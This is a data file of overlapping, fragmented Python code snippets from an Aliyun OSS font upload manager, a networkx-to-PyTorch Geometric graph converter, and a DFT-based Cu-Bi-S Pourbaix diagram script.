"file_name) def download_fonts(self, keyword='', pref=''): for fonts_bucket in iter(self.get_font_bucket()): # get bucket region",
"(font_file.key, fonts_bucket.bucket_name)) self.logger.info( 'fonts %s matched for download in bucket %s' % (font_file.key,",
"fonts_name: keyword in fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name] = fonts_names return fonts_dict def",
"# upload all fonts in local dir ./fonts/ # bk_manage.upload_fonts_files() # bk_manage.delete_fonts(keyword='test', pref='test')",
"get_fonts_from_local() for fonts_file in iter(get_fonts_files): print('Fonts to be uploaded to ali oss: %s'",
"oss_manager = OssManager() for font_bucket_region in config.ali_fonts_bucket: region = font_bucket_region font_oss_url = oss_manager.get_oss_url(region,",
"% 100 == 0: print(' {0}% '.format(rate), end=' ') sys.stdout.flush() def upload_fonts(self, file_path):",
"= config.ali_fonts_bucket[region]['font_dir'] bucket_name = fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。 oss_object_list = oss2.ObjectIterator(fonts_bucket) for font_file in",
"fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list = fonts_list_object.object_list fonts_names = list(filter( lambda fonts_name: keyword",
"fonts_bucket.bucket_name)) self.logger.info('Font %s upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) else: print('Font",
"file_name.endswith('tf') and keyword in file_name and file_name.startswith(pref) and fonts_dir in font_file.key: print('fonts %s",
"font_file) except Exception as e: self.logger.exception('Exception catched while download fonts %s: %s' %",
"%s successed' % (file_name, fonts_bucket.bucket_name)) else: print('Font %s upload to bucket %s failed'",
"fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name] = fonts_names return fonts_dict def print_fonts(self, keyword='', pref=''):",
"region self.inter_net = internet # self.buck_name = bucket_name @staticmethod def get_auth(): auth =",
"self.auth = self.get_auth() # self.region = region self.inter_net = internet # self.buck_name =",
"def upload_fonts(self, file_path): file_name = file_path.split('/')[-1] fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets:"
] |
[
"= u, v for j, feature in enumerate(edge_features): edge_attrs[i][j] = g.edges[edge][feature] if n_edges",
"= torch.zeros(n_edges, len(edge_features), dtype=torch.long) if convert_edges: for i, edge in enumerate(g.edges): u, v",
"node_features or [] edge_features = edge_features or [] n_nodes = g.number_of_nodes() nodes =",
"u, v = edge edges[i][0], edges[i][1] = u, v for j, feature in",
"node_features = node_features or [] edge_features = edge_features or [] n_nodes = g.number_of_nodes()",
"data in g.nodes(data=True): for j, feature in enumerate(node_features): nodes[i][j] = data[feature] n_edges =",
"torch.zeros(n_edges, 2, dtype=torch.long) edge_attrs = torch.zeros(n_edges, len(edge_features), dtype=torch.long) if convert_edges: for i, edge",
"= node_features or [] edge_features = edge_features or [] n_nodes = g.number_of_nodes() nodes",
"in g.nodes(data=True): for j, feature in enumerate(node_features): nodes[i][j] = data[feature] n_edges = g.number_of_edges()",
"v = edge edges[i][0], edges[i][1] = u, v for j, feature in enumerate(edge_features):",
"= torch.zeros(n_nodes, len(node_features), dtype=torch.float) for n, data in g.nodes(data=True): for j, feature in",
"i, edge in enumerate(g.edges): u, v = edge edges[i][0], edges[i][1] = u, v",
"for i, edge in enumerate(g.edges): u, v = edge edges[i][0], edges[i][1] = u,",
"edges[i][0], edges[i][1] = u, v for j, feature in enumerate(edge_features): edge_attrs[i][j] = g.edges[edge][feature]",
"j, feature in enumerate(node_features): nodes[i][j] = data[feature] n_edges = g.number_of_edges() edges = torch.zeros(n_edges,",
"n_edges = g.number_of_edges() edges = torch.zeros(n_edges, 2, dtype=torch.long) edge_attrs = torch.zeros(n_edges, len(edge_features), dtype=torch.long)",
"node_features=None, edge_features=None, convert_edges=True): node_features = node_features or [] edge_features = edge_features or []",
"edges = torch.zeros(n_edges, 2, dtype=torch.long) edge_attrs = torch.zeros(n_edges, len(edge_features), dtype=torch.long) if convert_edges: for",
"edge_features = edge_features or [] n_nodes = g.number_of_nodes() nodes = torch.zeros(n_nodes, len(node_features), dtype=torch.float)",
"in enumerate(g.edges): u, v = edge edges[i][0], edges[i][1] = u, v for j,",
"[] edge_features = edge_features or [] n_nodes = g.number_of_nodes() nodes = torch.zeros(n_nodes, len(node_features),",
"if n_edges > 0: edges = edges.t() edges = to_undirected(edges) return Data(x=nodes, edge_attr=edge_attrs,",
"edge_attrs = torch.zeros(n_edges, len(edge_features), dtype=torch.long) if convert_edges: for i, edge in enumerate(g.edges): u,",
"for j, feature in enumerate(node_features): nodes[i][j] = data[feature] n_edges = g.number_of_edges() edges =",
"edge edges[i][0], edges[i][1] = u, v for j, feature in enumerate(edge_features): edge_attrs[i][j] =",
"= edge_features or [] n_nodes = g.number_of_nodes() nodes = torch.zeros(n_nodes, len(node_features), dtype=torch.float) for",
"= g.number_of_edges() edges = torch.zeros(n_edges, 2, dtype=torch.long) edge_attrs = torch.zeros(n_edges, len(edge_features), dtype=torch.long) if",
"nodes[i][j] = data[feature] n_edges = g.number_of_edges() edges = torch.zeros(n_edges, 2, dtype=torch.long) edge_attrs =",
"feature in enumerate(node_features): nodes[i][j] = data[feature] n_edges = g.number_of_edges() edges = torch.zeros(n_edges, 2,",
"for n, data in g.nodes(data=True): for j, feature in enumerate(node_features): nodes[i][j] = data[feature]",
"= torch.zeros(n_edges, 2, dtype=torch.long) edge_attrs = torch.zeros(n_edges, len(edge_features), dtype=torch.long) if convert_edges: for i,",
"enumerate(node_features): nodes[i][j] = data[feature] n_edges = g.number_of_edges() edges = torch.zeros(n_edges, 2, dtype=torch.long) edge_attrs",
"torch.zeros(n_nodes, len(node_features), dtype=torch.float) for n, data in g.nodes(data=True): for j, feature in enumerate(node_features):",
"torch def nx_to_tg(g, node_features=None, edge_features=None, convert_edges=True): node_features = node_features or [] edge_features =",
"edges[i][1] = u, v for j, feature in enumerate(edge_features): edge_attrs[i][j] = g.edges[edge][feature] if",
"g.number_of_edges() edges = torch.zeros(n_edges, 2, dtype=torch.long) edge_attrs = torch.zeros(n_edges, len(edge_features), dtype=torch.long) if convert_edges:",
"in enumerate(node_features): nodes[i][j] = data[feature] n_edges = g.number_of_edges() edges = torch.zeros(n_edges, 2, dtype=torch.long)",
"g.edges[edge][feature] if n_edges > 0: edges = edges.t() edges = to_undirected(edges) return Data(x=nodes,",
"def nx_to_tg(g, node_features=None, edge_features=None, convert_edges=True): node_features = node_features or [] edge_features = edge_features",
"n_nodes = g.number_of_nodes() nodes = torch.zeros(n_nodes, len(node_features), dtype=torch.float) for n, data in g.nodes(data=True):",
"enumerate(g.edges): u, v = edge edges[i][0], edges[i][1] = u, v for j, feature",
"j, feature in enumerate(edge_features): edge_attrs[i][j] = g.edges[edge][feature] if n_edges > 0: edges =",
"in enumerate(edge_features): edge_attrs[i][j] = g.edges[edge][feature] if n_edges > 0: edges = edges.t() edges",
"edge_features or [] n_nodes = g.number_of_nodes() nodes = torch.zeros(n_nodes, len(node_features), dtype=torch.float) for n,",
"u, v for j, feature in enumerate(edge_features): edge_attrs[i][j] = g.edges[edge][feature] if n_edges >",
"nodes = torch.zeros(n_nodes, len(node_features), dtype=torch.float) for n, data in g.nodes(data=True): for j, feature",
"torch.zeros(n_edges, len(edge_features), dtype=torch.long) if convert_edges: for i, edge in enumerate(g.edges): u, v =",
"dtype=torch.long) edge_attrs = torch.zeros(n_edges, len(edge_features), dtype=torch.long) if convert_edges: for i, edge in enumerate(g.edges):",
"= g.edges[edge][feature] if n_edges > 0: edges = edges.t() edges = to_undirected(edges) return",
"g.nodes(data=True): for j, feature in enumerate(node_features): nodes[i][j] = data[feature] n_edges = g.number_of_edges() edges",
"[] n_nodes = g.number_of_nodes() nodes = torch.zeros(n_nodes, len(node_features), dtype=torch.float) for n, data in",
"feature in enumerate(edge_features): edge_attrs[i][j] = g.edges[edge][feature] if n_edges > 0: edges = edges.t()",
"for j, feature in enumerate(edge_features): edge_attrs[i][j] = g.edges[edge][feature] if n_edges > 0: edges",
"convert_edges=True): node_features = node_features or [] edge_features = edge_features or [] n_nodes =",
"len(edge_features), dtype=torch.long) if convert_edges: for i, edge in enumerate(g.edges): u, v = edge",
"n, data in g.nodes(data=True): for j, feature in enumerate(node_features): nodes[i][j] = data[feature] n_edges",
"= edge edges[i][0], edges[i][1] = u, v for j, feature in enumerate(edge_features): edge_attrs[i][j]",
"v for j, feature in enumerate(edge_features): edge_attrs[i][j] = g.edges[edge][feature] if n_edges > 0:",
"= g.number_of_nodes() nodes = torch.zeros(n_nodes, len(node_features), dtype=torch.float) for n, data in g.nodes(data=True): for",
"len(node_features), dtype=torch.float) for n, data in g.nodes(data=True): for j, feature in enumerate(node_features): nodes[i][j]",
"dtype=torch.long) if convert_edges: for i, edge in enumerate(g.edges): u, v = edge edges[i][0],",
"edge_attrs[i][j] = g.edges[edge][feature] if n_edges > 0: edges = edges.t() edges = to_undirected(edges)",
"edge in enumerate(g.edges): u, v = edge edges[i][0], edges[i][1] = u, v for",
"or [] edge_features = edge_features or [] n_nodes = g.number_of_nodes() nodes = torch.zeros(n_nodes,",
"nx_to_tg(g, node_features=None, edge_features=None, convert_edges=True): node_features = node_features or [] edge_features = edge_features or",
"n_edges > 0: edges = edges.t() edges = to_undirected(edges) return Data(x=nodes, edge_attr=edge_attrs, edge_index=edges.contiguous())",
"if convert_edges: for i, edge in enumerate(g.edges): u, v = edge edges[i][0], edges[i][1]",
"dtype=torch.float) for n, data in g.nodes(data=True): for j, feature in enumerate(node_features): nodes[i][j] =",
"edge_features=None, convert_edges=True): node_features = node_features or [] edge_features = edge_features or [] n_nodes",
"data[feature] n_edges = g.number_of_edges() edges = torch.zeros(n_edges, 2, dtype=torch.long) edge_attrs = torch.zeros(n_edges, len(edge_features),",
"2, dtype=torch.long) edge_attrs = torch.zeros(n_edges, len(edge_features), dtype=torch.long) if convert_edges: for i, edge in",
"enumerate(edge_features): edge_attrs[i][j] = g.edges[edge][feature] if n_edges > 0: edges = edges.t() edges =",
"import torch def nx_to_tg(g, node_features=None, edge_features=None, convert_edges=True): node_features = node_features or [] edge_features",
"g.number_of_nodes() nodes = torch.zeros(n_nodes, len(node_features), dtype=torch.float) for n, data in g.nodes(data=True): for j,",
"convert_edges: for i, edge in enumerate(g.edges): u, v = edge edges[i][0], edges[i][1] =",
"or [] n_nodes = g.number_of_nodes() nodes = torch.zeros(n_nodes, len(node_features), dtype=torch.float) for n, data",
"= data[feature] n_edges = g.number_of_edges() edges = torch.zeros(n_edges, 2, dtype=torch.long) edge_attrs = torch.zeros(n_edges,"
] |
[
"2]=species[p,0] #Electrons combos[combo_num, 2, 0]=species[k,1] combos[combo_num, 2, 1]=species[m,1] combos[combo_num, 2, 2]=species[p,1] #H+ combos[combo_num,",
"1.5; #V Urange = Uhigh-Ulow; #V Ucount = Urange/n; #used to iterate through",
"(species[m, 5]==0 and species[p, 5] ==0) or \\ (species[k, 5]==0 and species[p, 5]",
"species[37,5]=1 species[38,5]=1 species[39,5]=1 species[40,5]=2 species[41,5]=1 species[42,5]=1 species[43,5]=1 species[44,5]=2 species[45,5]=1 species[46,5]=2 #CuSBiO species[47,5]=1 species[48,5]=4",
"species number pH=lowpH+(i*pHcount); for j in range(1,n): U=Ulow+(j*Ucount); #If drawing lines for metastable",
"species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S",
"species[3,7]=1 species[4,7]=1 species[5,7]=1 species[6,7]=1 species[7,7]=1 species[8,7]=1 species[9,7]=1 species[10,7]=1 species[11,7]=1 species[12,7]=1 #Bismuth species[13,7]=0 species[14,7]=0",
"combinations is '+ str(combo_num)+'.\\n') ############################################################################### ############################################################################### ############################################################################### ############################################################################### ########### Chemical Potential Mesh Calculations",
"f3=combos[k,8,2]; #The first species's contribution to the mu current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7])",
"found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop,",
"Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ############## Plot with Lines ############################################ ############################################################################### flag",
"((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S);",
"fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If drawing lines for metastable",
"species[14,4]=2 species[15,4]=2 species[16,4]=2 species[17,4]=4 species[18,4]=1 species[19,4]=1 species[20,4]=1 #Sulphur species[21,4]=0 species[22,4]=0 species[23,4]=0 species[24,4]=0 species[25,4]=0",
"((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the composition f[0]=h f[1]=i f[2]=j #Ending parameters, break loops t=0; h=40;",
"in range(0, n+1): #calculate the energies for each species number pH=lowpH+(i*pHcount); for j",
"4 indexes are the materials stored, the next three are the colors index=0;",
"= .202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364",
"label='M1: '+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2]) flag[index,0] = muValues[i,j,0] flag[index,1] = muValues[i,j,1] flag[index,2]",
"-5.114928333; Ee_Bi2O3= -31.163316; Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol",
"species[37,3]=0 species[38,3]=0 species[39,3]=0 species[40,3]=0 species[41,3]=0 species[42,3]=0 species[43,3]=0 species[44,3]=0 species[45,3]=0 species[46,3]=0 #CuBiSO species[47,3]=2 species[48,3]=7",
"######## Formation Energies ################################################### species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus",
"species[26,7]=1 species[27,7]=1 species[28,7]=1 species[29,7]=1 species[30,7]=1 species[31,7]=1 species[32,7]=1 species[33,7]=1 species[34,7]=1 species[35,7]=1 species[36,7]=1 species[37,7]=1 species[38,7]=1",
"Silvers combos[combo_num, 4, 0]=species[k,3] combos[combo_num, 4, 1]=species[m,3] combos[combo_num, 4, 2]=species[p,3] #Number Bismuth combos[combo_num,",
"f[1]=i f[2]=j #Ending parameters, break loops t=0; h=40; i=40; j=40; #If there is",
"############## Plot with Lines ############################################ ############################################################################### flag = np.zeros((50,6)) # The first 4",
"0, 0]=k combos[combo_num, 0, 1]=m combos[combo_num, 0, 2]=p #Energy combos[combo_num, 1, 0]=species[k,0] combos[combo_num,",
"dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F; ############################################################################### ############################################################################### ###############################################################################",
"species[49,6]=0 species[50,6]=0 species[51,6]=12 species[52,6]=0 species[53,6]=4 #BiSO species[54,6]=0 species[55,6]=0 species[56,6]=1 species[57,6]=12 species[58,6]=1 species[59,6]=2 #CuBiS",
"range ############################################################################### ######################## DFT CALCULATIONS ##################################### ############################################################################### #Electronic Energies in eV/f.u. #PBEsol with",
"2, 0]=species[k,1] combos[combo_num, 2, 1]=species[m,1] combos[combo_num, 2, 2]=species[p,1] #H+ combos[combo_num, 3, 0]=species[k,2] combos[combo_num,",
"flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1",
"Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ############################################################################### ### Compounds-Calculate the formation energies",
"5, 2]=species[p,4] #Number H2O combos[combo_num, 6, 0]=species[k,5] combos[combo_num, 6, 1]=species[m,5] combos[combo_num, 6, 2]=species[p,5]",
"dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F;",
"PBEsol Phonon Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H = .202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680",
"Count ####################################################### #Cu species[0,1]=0.00; species[1,1]=2 species[2,1]=2 species[3,1]=1 species[4,1]=2 species[5,1]=2 species[6,1]=1 species[7,1]=2 species[8,1]=2 species[9,1]=2",
"color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])):",
"t=1 save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The number of species combinations is '+ str(combo_num)+'.\\n')",
"E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5, chartBox.height*1.5])",
"current_NumEle=int sort=np.zeros((3,1)) #fill in the grid. Calculate for i in range(0, n+1): #calculate",
"combos[combo_num, 6, 2]=species[p,5] #Aqueous Ions combos[combo_num, 7, 0]=species[k,6] combos[combo_num, 7, 1]=species[m,6] combos[combo_num, 7,",
"of Cu:Bi:S composition=np.array([1,1,1]) #pH Range and Constants lowpH = -2; highpH = 16;",
"Calculate for i in range(0, n+1): #calculate the energies for each species number",
"Uhigh = 1.5; #V Urange = Uhigh-Ulow; #V Ucount = Urange/n; #used to",
"############################################################################### ### Compounds-Calculate the formation energies ############################ ############################################################################### #Free Energies of Formation in",
"of H2O's ##################################################### #Copper species[0,6]=0 species[1,6]=1 species[2,6]=1 species[3,6]=0 species[4,6]=0 species[5,6]=4 species[6,6]=2 species[7,6]=3 species[8,6]=1",
"species[48,6]=0 species[49,6]=0 species[50,6]=0 species[51,6]=12 species[52,6]=0 species[53,6]=4 #BiSO species[54,6]=0 species[55,6]=0 species[56,6]=1 species[57,6]=12 species[58,6]=1 species[59,6]=2",
"#BiSO species[54,3]=0 species[55,3]=0 species[56,3]=0 species[57,3]=0 species[58,3]=0 species[59,3]=0 #CuBiS species[60,3]=1 species[61,3]=4 species[62,3]=4 #BiCuSO species[63,3]=1",
"#Sulphur species[21,7]=0 species[22,7]=1 species[23,7]=1 species[24,7]=1 species[25,7]=1 species[26,7]=1 species[27,7]=1 species[28,7]=1 species[29,7]=1 species[30,7]=1 species[31,7]=1 species[32,7]=1",
"4] ==0)): if((species[k, 5]==0 and species[m, 5] ==0) or \\ (species[m, 5]==0 and",
"species[53,4]=2 #BiSO species[54,4]=1 species[55,4]=2 species[56,4]=2 species[57,4]=2 species[58,4]=14 species[59,4]=2 #CuBiS species[60,4]=1 species[61,4]=4 species[62,4]=5 #BiCuSO",
"species[8,6]=1 species[9,6]=2 species[10,6]=1 species[11,6]=2 species[12,6]=4 #Bi species[13,6]=0 species[14,6]=3 species[15,6]=5 species[16,6]=4 species[17,6]=7 species[18,6]=0 species[19,6]=1",
"#Sulphur species[21,6]=0 species[22,6]=0 species[23,6]=0 species[24,6]=0 species[25,6]=0 species[26,6]=0 species[27,6]=0 species[28,6]=0 species[29,6]=3 species[30,6]=3 species[31,6]=3 species[32,6]=6",
"dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH = dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F;",
"species[31,4]=0 species[32,4]=0 species[33,4]=0 species[34,4]=0 species[35,4]=0 species[36,4]=0 species[37,4]=0 species[38,4]=0 species[39,4]=0 species[40,4]=0 species[41,4]=0 species[42,4]=0 species[43,4]=0",
"dGf_Cu2= 0.674092 dGf_CuOH2_minus= -3.4518209 dGf_CuOH3= -5.1197432 dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113 dGf_CuOH =",
"to iterate through U (energy) range ############################################################################### ######################## DFT CALCULATIONS ##################################### ############################################################################### #Electronic",
"species[58,6]=1 species[59,6]=2 #CuBiS species[60,6]=0 species[61,6]=0 species[62,6]=0 #BiCuSO species[63,6]=1 species[64,6]=0 ########## Aqueous Ions?????? #################################################",
"the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color =",
"Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431",
"dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ###############",
"t=1 a = np.array([[species[k, 3],species[m, 3], species[p,3]], \\ [species[k, 4],species[m, 4], species[p,4]], \\",
"Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696",
"#################################################### #Cu species[0,2]=0 species[1,2]=2 species[2,2]=2 species[3,2]=0 species[4,2]=0 species[5,2]=4 species[6,2]=2 species[7,2]=3 species[8,2]=1 species[9,2]=2 species[10,2]=1",
"species[62,7]=0 #BiCuSO species[63,7]=0 species[64,7]=0 #Function to determine species combinations try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0])",
"species[37,7]=1 species[38,7]=1 species[39,7]=1 species[40,7]=1 species[41,7]=1 species[42,7]=1 species[43,7]=1 species[44,7]=1 species[45,7]=1 species[46,7]=1 #CuSBiO species[47,7]=0 species[48,7]=0",
"7, 1]=species[m,6] combos[combo_num, 7, 2]=species[p,6] #Percent of each in species in final combo",
"species[12,1]=6 #Bi species[13,1]=0 species[14,1]=6 species[15,1]=10 species[16,1]=8 species[17,1]=14 species[18,1]=3 species[19,1]=3 species[20,1]=3 #S species[21,1]=0 species[22,1]=-2",
"mu current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for t in range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t];",
"species[30,6]=3 species[31,6]=3 species[32,6]=6 species[33,6]=6 species[34,6]=4 species[35,6]=4 species[36,6]=6 species[37,6]=3 species[38,6]=3 species[39,6]=3 species[40,6]=6 species[41,6]=4 species[42,6]=4",
"species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus",
"for metastable phases for i in range(1, n): #calculate the energies for each",
"species[34,7]=1 species[35,7]=1 species[36,7]=1 species[37,7]=1 species[38,7]=1 species[39,7]=1 species[40,7]=1 species[41,7]=1 species[42,7]=1 species[43,7]=1 species[44,7]=1 species[45,7]=1 species[46,7]=1",
"species[26,1]=-2 species[27,1]=-2 species[28,1]=-2 species[29,1]=4 species[30,1]=4 species[31,1]=4 species[32,1]=10 species[33,1]=10 species[34,1]=6 species[35,1]=6 species[36,1]=10 species[37,1]=4 species[38,1]=4",
"and species[p, 5] ==0) or \\ (species[k, 5]==0 and species[p, 5] ==0)): flag=0",
"-*- \"\"\" Created on Mon Jul 23 13:17:41 2018 @author: laurenwalters \"\"\" import",
"dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F;",
"'+str(m)+'\\n') #Species Number combos[combo_num, 0, 0]=k combos[combo_num, 0, 1]=m combos[combo_num, 0, 2]=p #Energy",
"species[38,6]=3 species[39,6]=3 species[40,6]=6 species[41,6]=4 species[42,6]=4 species[43,6]=4 species[44,6]=8 species[45,6]=5 species[46,6]=5 #CuSBiO species[47,6]=0 species[48,6]=0 species[49,6]=0",
"############################################################################### ########### Chemical Potential Mesh Calculations ############################ ############################################################################### #should be as long as",
"species[35,5]=2 species[36,5]=3 species[37,5]=1 species[38,5]=1 species[39,5]=1 species[40,5]=2 species[41,5]=1 species[42,5]=1 species[43,5]=1 species[44,5]=2 species[45,5]=1 species[46,5]=2 #CuSBiO",
"len(species)): for m in range(0, len(species)): for p in range(0, len(species)): #Check to",
